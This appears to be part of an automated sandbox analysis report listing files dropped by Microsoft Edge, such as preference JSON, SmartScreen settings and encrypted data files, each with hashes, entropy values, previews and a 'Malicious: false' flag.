SHA-512:	AEE35CD666368C65141AF06F8C418176AB685A85511BC6158C78EE1D3B83C87FCB2D4CC4FF23AB366EFE2DCD9B600529274760F7591D5EE4A7D3030DD1080952
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF291a7.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	58444
Entropy (8bit):	6.1016686018820545
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynPCBS2qX7b8tPHgorQXdbiR3oM:z/0+zI7ynPkS20MtP0Xdbe3
MD5:	165D80BD03E6665E6F8344E74FDE153C
SHA1:	D2598E9631EF01B13D2E70DB035D476FC143EC8A
SHA-256:	AEDE2B33B94938F46675E860AFDBBF246F26669DC9C63CE2194D01A56BCE4551
SHA-512:	AEE35CD666368C65141AF06F8C418176AB685A85511BC6158C78EE1D3B83C87FCB2D4CC4FF23AB366EFE2DCD9B600529274760F7591D5EE4A7D3030DD1080952
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF29512.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	58444
Entropy (8bit):	6.1016686018820545
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynPCBS2qX7b8tPHgorQXdbiR3oM:z/0+zI7ynPkS20MtP0Xdbe3
MD5:	165D80BD03E6665E6F8344E74FDE153C
SHA1:	D2598E9631EF01B13D2E70DB035D476FC143EC8A
SHA-256:	AEDE2B33B94938F46675E860AFDBBF246F26669DC9C63CE2194D01A56BCE4551
SHA-512:	AEE35CD666368C65141AF06F8C418176AB685A85511BC6158C78EE1D3B83C87FCB2D4CC4FF23AB366EFE2DCD9B600529274760F7591D5EE4A7D3030DD1080952
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2bc32.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	58444
Entropy (8bit):	6.1016686018820545
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynPCBS2qX7b8tPHgorQXdbiR3oM:z/0+zI7ynPkS20MtP0Xdbe3
MD5:	165D80BD03E6665E6F8344E74FDE153C
SHA1:	D2598E9631EF01B13D2E70DB035D476FC143EC8A
SHA-256:	AEDE2B33B94938F46675E860AFDBBF246F26669DC9C63CE2194D01A56BCE4551
SHA-512:	AEE35CD666368C65141AF06F8C418176AB685A85511BC6158C78EE1D3B83C87FCB2D4CC4FF23AB366EFE2DCD9B600529274760F7591D5EE4A7D3030DD1080952
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2f860.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	58444
Entropy (8bit):	6.1016686018820545
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynPCBS2qX7b8tPHgorQXdbiR3oM:z/0+zI7ynPkS20MtP0Xdbe3
MD5:	165D80BD03E6665E6F8344E74FDE153C
SHA1:	D2598E9631EF01B13D2E70DB035D476FC143EC8A
SHA-256:	AEDE2B33B94938F46675E860AFDBBF246F26669DC9C63CE2194D01A56BCE4551
SHA-512:	AEE35CD666368C65141AF06F8C418176AB685A85511BC6158C78EE1D3B83C87FCB2D4CC4FF23AB366EFE2DCD9B600529274760F7591D5EE4A7D3030DD1080952
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3a5c6.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	58444
Entropy (8bit):	6.1016686018820545
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynPCBS2qX7b8tPHgorQXdbiR3oM:z/0+zI7ynPkS20MtP0Xdbe3
MD5:	165D80BD03E6665E6F8344E74FDE153C
SHA1:	D2598E9631EF01B13D2E70DB035D476FC143EC8A
SHA-256:	AEDE2B33B94938F46675E860AFDBBF246F26669DC9C63CE2194D01A56BCE4551
SHA-512:	AEE35CD666368C65141AF06F8C418176AB685A85511BC6158C78EE1D3B83C87FCB2D4CC4FF23AB366EFE2DCD9B600529274760F7591D5EE4A7D3030DD1080952
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF40135.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	58444
Entropy (8bit):	6.1016686018820545
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynPCBS2qX7b8tPHgorQXdbiR3oM:z/0+zI7ynPkS20MtP0Xdbe3
MD5:	165D80BD03E6665E6F8344E74FDE153C
SHA1:	D2598E9631EF01B13D2E70DB035D476FC143EC8A
SHA-256:	AEDE2B33B94938F46675E860AFDBBF246F26669DC9C63CE2194D01A56BCE4551
SHA-512:	AEE35CD666368C65141AF06F8C418176AB685A85511BC6158C78EE1D3B83C87FCB2D4CC4FF23AB366EFE2DCD9B600529274760F7591D5EE4A7D3030DD1080952
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

